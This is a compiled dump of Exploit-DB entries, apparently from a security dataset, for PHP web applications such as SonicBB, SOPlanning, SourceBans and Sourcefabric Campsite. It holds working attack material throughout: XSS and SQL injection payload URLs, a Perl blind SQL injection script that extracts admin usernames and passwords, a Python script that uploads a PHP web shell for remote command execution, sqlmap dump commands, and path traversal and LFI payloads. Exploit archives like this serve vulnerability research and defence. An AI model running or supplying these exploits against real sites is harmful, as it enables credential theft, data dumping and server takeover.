deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30029
Description: SonicBB 1.0 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-14
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/23963/info

SonicBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects SonicBB 1.0; other versions may also be affected. 

http://www.example.com/search.php?query=1&part=[xss]
Exploit-DB #30035
Description: SonicBB 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-05-14
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/23964/info

SonicBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SonicBB 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/search.php?query=1&part=post`<> '' UNIoN SELECT `id`,`password`,1,1,1,1,`username` FROM `users` WHERE id=1/*&by=*/

http://www.example.com/path/viewforum.php?id=1' UNION SELECT `id`,`password`,1,1,1,1,1 FROM `users` WHERE id=1%23
Exploit-DB #3457
Description: SonicMailer Pro 3.2.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-11
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: SonicMailer Pro <= 3.2.3 (index.php) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.triexa.com
#[$$         : Standart License 89$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   	SonicMailer Pro <= 3.2.3 (index.php) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?page=archive&list=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%201,2,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password)%20from%20smpro_admins/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-11]
Exploit-DB #36196
Description: SonicWALL Viewpoint 6.0 - 'scheduleID' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-02
Author: Rem0ve

Exploit:
source: https://www.securityfocus.com/bid/49906/info

SonicWall Viewpoint is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Viewpoint 6.0 SP2 is vulnerable; other versions may also be affected. 

https://www.example.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20%28 select%20case%20when%20%281=1%29%20%20then%201%20else%201*%28select%20table_name%20from%20information_schema.tables%29end%29=1
Exploit-DB #2216
Description: Sonium Enterprise Adressbook 0.2 - 'folder' Include
Type: webapps
Platform: php
Date: 2006-08-18
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ Sonium Enterprise Adressbook Version 0.2 (folder) RFI
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/342/org/Sonium_Enterprise_Adressbook_Version_0.2_(folder)_RFI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: Sonium Enterprise Adressbook Version 0.2
+ Venedor ...........: http://www.sonium-php.de
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected Files:
+ /plugins/*.php (not config.php)
+
+ First lines of all these scripts:
+ .....
+     include("$folder/config.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $folder is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Deny direct access to all files in folder "plugins"
+ or modify code:
+
+ if(!isset($_REQUEST['folder']) && !isset($_GET['folder']) &&
!isset($_POST['folder'])){
+  //code of org. *.php
+ }
+ else {
+  echo "You cannot access this file directly.";
+  die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/plugins/1_Adressbuch/delete.php?folder=[script]
+
+--------------------------------------------------------------------
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-18]
Exploit-DB #51718
Description: soosyze 2.0.0 - File Upload
Type: webapps
Platform: php
Date: 2023-09-08
Author: nu11secur1ty

Exploit:
## Title: soosyze 2.0.0 - File Upload
## Author: nu11secur1ty
## Date: 04.26.2023-08.28.2023
## Vendor: https://soosyze.com/
## Software: https://github.com/soosyze/soosyze/releases/tag/2.0.0
## Reference: https://portswigger.net/web-security/file-upload

## Description:
Broken file upload logic. The malicious user can upload whatever he
wants to an HTML file and when he tries to execute it he views almost
all
file paths. This could be worse than ever, it depends on the scenario.

STATUS: HIGH Vulnerability

[+]Exploit:
```HTML
<!DOCTYPE html>
<html>
<head>
<title>Hello broken file upload logic, now I can read your special
directory pats, thank you ;)</title>
</head>
<body>
<h1>
	<?php
		phpinfo();
	?>
	</h1>
</body>
</html>

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/soosyze/2023/soosyze-2.0.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/soosyze-200-file-path-traversal-broken.html)

## Time spend:
01:27:00
Exploit-DB #48074
Description: SOPlanning 1.45 - 'by' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-17
Author: J3rryBl4nks

Exploit:
# Exploit Title: SOPlanning 1.45 - 'by' SQL Injection
# Date: 2020-02-14
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://www.soplanning.org/en/
# Software Link: https://sourceforge.net/projects/soplanning/files/soplanning/
# Version 1.45
# Tested on Windows 10/Kali Rolling

# The SOPlanning application is vulnerable to SQL Injection in the OrderBy clause of the sort on the Projects page:
# POC:
# The SOPlanning 1.45 application is vulnerable to SQL Injection which can be leveraged into getting the information for the users table.

# Capture the request in Burpsuite:

GET /soplanning/www/projets.php?order=nom_createur&by=ASC HTTP/1.1
Host: HOSTNAME
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOST/soplanning/www/projets.php?order=charge&by=ASC
Connection: close
Cookie: xposMois=0; dateDebut=14/02/2020; dateFin=14/04/2020; xposMoisWin=0; xposJoursWin=0; xposJours=0; yposMoisWin=0; yposMois=0; yposJoursWin=0; yposJours=0; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9; soplanningplanning_=pnljrmetd5cse4d8dm1f09fn0u; baseLigne=users; baseColonne=jours; statut_projet=%5B%22abandon%22%2C%22archive%22%2C%22a_faire%22%2C%22en_cours%22%2C%22fait%22%5D
Upgrade-Insecure-Requests: 1

# Feed the request into SQLMap:

sqlmap -r projects.req --level=5 --risk=3 -p by --dbms=mysql -D soplanning -T planning_user --dump



Then you will be able to see the information for the users in the database:

root@kali:~/SOPlanning# sqlmap -r projects.req --level=5 --risk=3 -p by --dbms=mysql -D soplanning -T planning_user --dump
___
__H__
___ ___[(]_____ ___ ___ {1.4.1.2#dev}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:13:27 /2020-02-14/

[11:13:27] [INFO] parsing HTTP request from 'projects.req'
[11:13:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: by (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: order=nom_createur&by=ASC,(SELECT (CASE WHEN (6871=6871) THEN 1 ELSE 6871*(SELECT 6871 FROM INFORMATION_SCHEMA.PLUGINS) END))

Type: time-based blind
Title: MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)
Payload: order=nom_createur&by=ASC PROCEDURE ANALYSE(EXTRACTVALUE(9535,CONCAT(0x5c,(BENCHMARK(5000000,MD5(0x77464654))))),1)
---


Because it's time based it will take a while to retrieve the user details, but you will retrieve password hashes.
Exploit-DB #52082
Description: SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2024-11-15
Author: cybersploit

Exploit:
# Exploit Title: SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated)
# Date: 6th October, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Version: 1.52.01 
# Tested on: Ubuntu

import argparse
import requests
import random
import string
import urllib.parse

def command_shell(exploit_url):
    commands = input("soplaning:~$ ")
    encoded_command = urllib.parse.quote_plus(commands)

    command_res = requests.get(f"{exploit_url}?cmd={encoded_command}")
    if command_res.status_code == 200:
        print(f"{command_res.text}")
        return
    print(f"Error: An erros occured while running command: {encoded_command}")

def exploit(username, password, url):
    target_url = f"{url}/process/login.php"
    upload_url = f"{url}/process/upload.php"
    link_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    php_filename = f"{''.join(random.choices(string.ascii_lowercase + string.digits, k=3))}.php"

    login_data = {"login":username,"password":password}
    res = requests.post(target_url, data=login_data, allow_redirects=False)

    cookies = res.cookies

    multipart_form_data = {
        "linkid": link_id,
        "periodeid": 0,
        "fichiers": php_filename,
        "type": "upload"
    }

    web_shell = "<?php system($_GET['cmd']); ?>"

    files = {
    'fichier-0': (php_filename, web_shell, 'application/x-php')
    }
    upload_res = requests.post(upload_url, cookies=cookies,files=files, data=multipart_form_data)

    if upload_res.status_code == 200 and "File" in upload_res.text:
        print(f"[+] Uploaded ===> {upload_res.text}")
        print("[+] Exploit completed.")
        exploit_url = f"{url}/upload/files/{link_id}/{php_filename}"
        print(f"Access webshell here: {exploit_url}?cmd=<command>")

        if "yes" == input("Do you want an interactive shell? (yes/no) "):
            try:
                while True:
                    command_shell(exploit_url)
            except Exception as e:
                raise(f"Error: {e}")
        else:
            pass


def main():
    parser = argparse.ArgumentParser(prog="SOplanning RCE", \
            usage=f"python3 {__file__.split('/')[-1]} -t http://example.com:9090 -u admin -p admin")

    parser.add_argument("-t", "--target", type=str, help="Target URL (e.g., http://localhost:8080)", required=True)
    parser.add_argument("-u", "--username",type=str,help="username", required=True)
    parser.add_argument("-p", "--password",type=str,help="password", required=True)
    
    args = parser.parse_args()

    exploit(args.username, args.password, args.target)

main()
Exploit-DB #38478
Description: Sosci Survey - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-17
Author: T. Lazauninkas

Exploit:
source: https://www.securityfocus.com/bid/59278/info

Sosci Survey is prone to following security vulnerabilities:

1. An unauthorized-access vulnerability
2. Multiple cross-site scripting vulnerabilities
3. Multiple HTML-injection vulnerabilities
4. A PHP code-execution vulnerability

Successful exploits may allow an attacker to gain unauthorized access to the affected application, allow attacker-supplied HTML and script code to run in the context of the affected browser, allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or inject and execute arbitrary malicious PHP code in the context of the web server process. 

https://www.example.com/admin/index.php?o=account&a=message.reply&id=[msg_id]
https://www.example.com/admin/index.php?o=panel&a=receiver.edit&id=<script>alert(document.cookie)</script>
Exploit-DB #4282
Description: SOTEeSKLEP 3.5RC9 - 'file' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-08-13
Author: dun

Exploit:
SOTEeSKLEP Remote File Disclosure Vulnerability

Script : SOTEeSKLEP

Versions: 3.1RC8, 3.5RC1, 3.5RC4, 3.5RC9, and i think other.

Site : http://www.sote.pl

Bug:

...
if (! empty($_REQUEST["file"])) { $file=$_REQUEST['file']; }
...
$file_path="$DOCUMENT_ROOT/themes/_$config->lang/_html_files/$file";
if (file_exists($file_path)) { $fd=fopen($file_path,"r");
$data=fread($fd,filesize($file_path));
print $data;
fclose($fd);
}
...

Dork: inurl:"/go/_files/?file="

Examples:
http://???/go/_files/?file=./.././.././.././
http://???/go/_files/?file=./.././.././.././go/_files/index.php

Discovered by dun
2007.08.11

# milw0rm.com [2007-08-13]
Exploit-DB #41558
Description: Soundify 1.1 - 'tid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Soundify - Audio Sharing Software v1.1 - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.ncrypted.net/
# Software: https://www.ncrypted.net/soundify
# Demo: http://demo.ncryptedprojects.com/soundify/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/player?tid=[SQL]
# tbl_admin :adminId
# tbl_admin :firstName
# tbl_admin :userName
# tbl_admin :adminEmail
# tbl_admin :passWord
# tbl_admin :adminType
# Etc..
# # # # #
Exploit-DB #8998
Description: SourceBans 1.4.2 - Arbitrary Change Admin Email
Type: webapps
Platform: php
Date: 2009-06-22
Author: Mr. Anonymous

Exploit:
Sourcebans (PHP) (sb-callback.php)
Author: Mr. Anonymous
------
Vendor:http://www.sourcebans.com
Affected Versions: <= 1.4.2
-----
Exploit (sb-callback lines 185-204):
-------------
function ChangeEmail($aid, $email)
{	
	...SNIP...
	
	$GLOBALS['db']->Execute("UPDATE `".DB_PREFIX."_admins` SET `email` =
'".$email."' WHERE `aid` = '".$aid."'");
	$objResponse->addScript("ShowBox('E-mail address changed', 'Your
E-mail address has been changed successfully.', 'green',
'index.php?p=account', true);");
	$log = new CSystemLog("m", "E-mail Changed", "E-mail changed for
admin (".$aid.")");
	return $objResponse;
}
-------
How to Exploit
-------
No checking is done to verify you own that email address.  You can
simply submit a post request with the following arguments, to change
any admins email with your own (or a temporary one), and then reset
their password, then get full admin access.

You can download firebug for firefox, and simply run in the console
"xajax_ChangeEmail(ADMIN_ID, EMAIL_TO_CHANGE_TO)", otherwise you need
to send these variables to index.php via POST:

xxajax: ChangeEmail
xajaxargs[]: ADMIN_ID
xajaxargs[]: EMAIL_TO_CHANGE_TO

# milw0rm.com [2009-06-22]
Exploit-DB #16148
Description: SourceBans 1.4.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-09
Author: Sw1tCh

Exploit:
# Exploit Title: SourceBans Version 1.4.7  XSS
# Google Dork: inurl:"sourcebans/index.php?p=submit"
# Date: Feb. 9th 2011
# Author: Sw1tCh
# Software Link: http://www.sourcebans.net/
# Version: 1.4.7


Info:
SourceBans is an application for managing publicly the banned users for a Steam Server.  
 
#-= The Advisory =-
SourceBans is vulnerable to a Cross Site Scripting Vulnerability (XSS) in which an attacker can execute scripts on a client side resulting in a bypass of access controls and or a credentials loss.

#-= Example =-

http://<SITE>/sourcebans/index.php?p=submit

	- > BanIP =>  " onmouseover=prompt(928137) bad="
	- > Comments =>  " onmouseover=prompt(928137) bad="
	- > Name => " onmouseover=prompt(928137) bad="
	- > Email =>  " onmouseover=prompt(928137) bad="



 
#Disclosure Information:
- Vulnerability found and researched: January 18th 2011
- Vendor (SourceBans) contacted: January 18th 2011
	[ Time Reduced because Ops of IRC channel were dicks ] 
- Disclosed to Exploit-DB, Bugtraq and InterN0T: 





#Credits: Sw1tCh

#Shoutouts : gen0cide, Scruffy, Griff, D00dl3,
Exploit-DB #18215
Description: SourceBans 1.4.8 - SQL Injection / Local File Inclusion Injection
Type: webapps
Platform: php
Date: 2011-12-07
Author: Havok

Exploit:
# Exploit Title: SourceBans <= 1.4.8 SQL/LFI Injection
# Date: Dec. 6th 2011
# Author: Havok
# Software Link: http://www.sourcebans.net/
# Version: <= 1.4.8

"- What is SourceBans?
SourceBans is a free global administration and banning system for Source engine based servers."

Vulnerabilities:

1°) SQL Injection:
Proof of concept: http://1m-4-1337-m8.c0m/index.php?xajax=RefreshServer&xajaxargs[]=1' <=== SQL Error w00t!

2°) LFI Injection:
Only works when you're authentified as root administrator or as somebody who is able to change the SourceBans theme :
Proof of concept: http://server/index.php?xajax=SelTheme&xajaxargs[]=../../../../../../../../../../etc/passwd%00

Note: There is also a possibility to get a shell by adding "GIF89a" at the very beginning of the shell,
renaming it to h4x0rz.gif and uploading it as an icon in the admin panel. Then include the file with the LFI and G4M3 0V3R :).

=> In memory of crashfr who will NEVER die. Merci pour tout mec! ;-))... R.I.P.

./EOF
Exploit-DB #34391
Description: Sourcefabric Campsite - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-30
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42107/info

Sourcefabric Campsite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Sourcefabric Campsite 3.3.6 is vulnerable; prior versions may also be affected.

http://www.example.com/admin/system_pref/do_edit.php?f_campsite_online=Y&f_site_title=Kora"><script>alert(document.cookie)</script>&f_site_metakeywords=11&f_site_metadescription=22&f_cache_enabled=N&f_cache_engine=APC&f_imagecache_lifetime=86400&f_secret_key=1&f_session_lifetime=1400&f_keyword_separator=%2C&f_login_num=3&f_max_upload_filesize=16M&f_smtp_www.example.com=localwww.example.com&f_smtp_port=25&f_editor_image_ratio=100&f_external_subs_management=N&f_use_replication=N&f_db_repl_www.example.com=&f_db_repl_user=&f_db_repl_pass=&f_db_repl_port=3306&f_use_campcaster=N&f_cc_www.example.comname=localwww.example.com&f_cc_www.example.comport=80&f_cc_xrpcpath=%2Fcampcaster%2FstorageServer%2Fvar%2Fxmlrpc%2F&f_cc_xrpcfile=xrLocStor.php&f_template_filter=.*%2C+CVS&save=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C HTTP/1.1


<form action="http://www.example.com/admin/comments/index.php" method="post" name="main" >
<input type="hidden" name="f_comment_per_page" value="20" >
<input type="hidden" name="f_comment_search" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="f_comment_order_by" value="datestamp">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #34350
Description: Sourcefabric Campsite Articles - HTML Injection
Type: webapps
Platform: php
Date: 2010-07-15
Author: D4rk357

Exploit:
source: https://www.securityfocus.com/bid/41780/info

Sourcefabric Campsite is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

<marquee><h1>XSS3d By D4rk357</h1><marquee>
Exploit-DB #38103
Description: Sourcefabric Newscoop - 'f_email' SQL Injection
Type: webapps
Platform: php
Date: 2012-12-04
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/56800/info

Newscoop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Newscoop 4.0.2 is vulnerable; other versions may also be affected. 

Script: /admin/password_recovery.php
Payload: f_post_sent=1&f_email=example@example.com' and (select if(substr(password_reset_token,15,1)='1',sleep(18000),0) from liveuser_users where id=1 limit 1)-- and 1!='@sikdir and 9='9&Login=Recover+password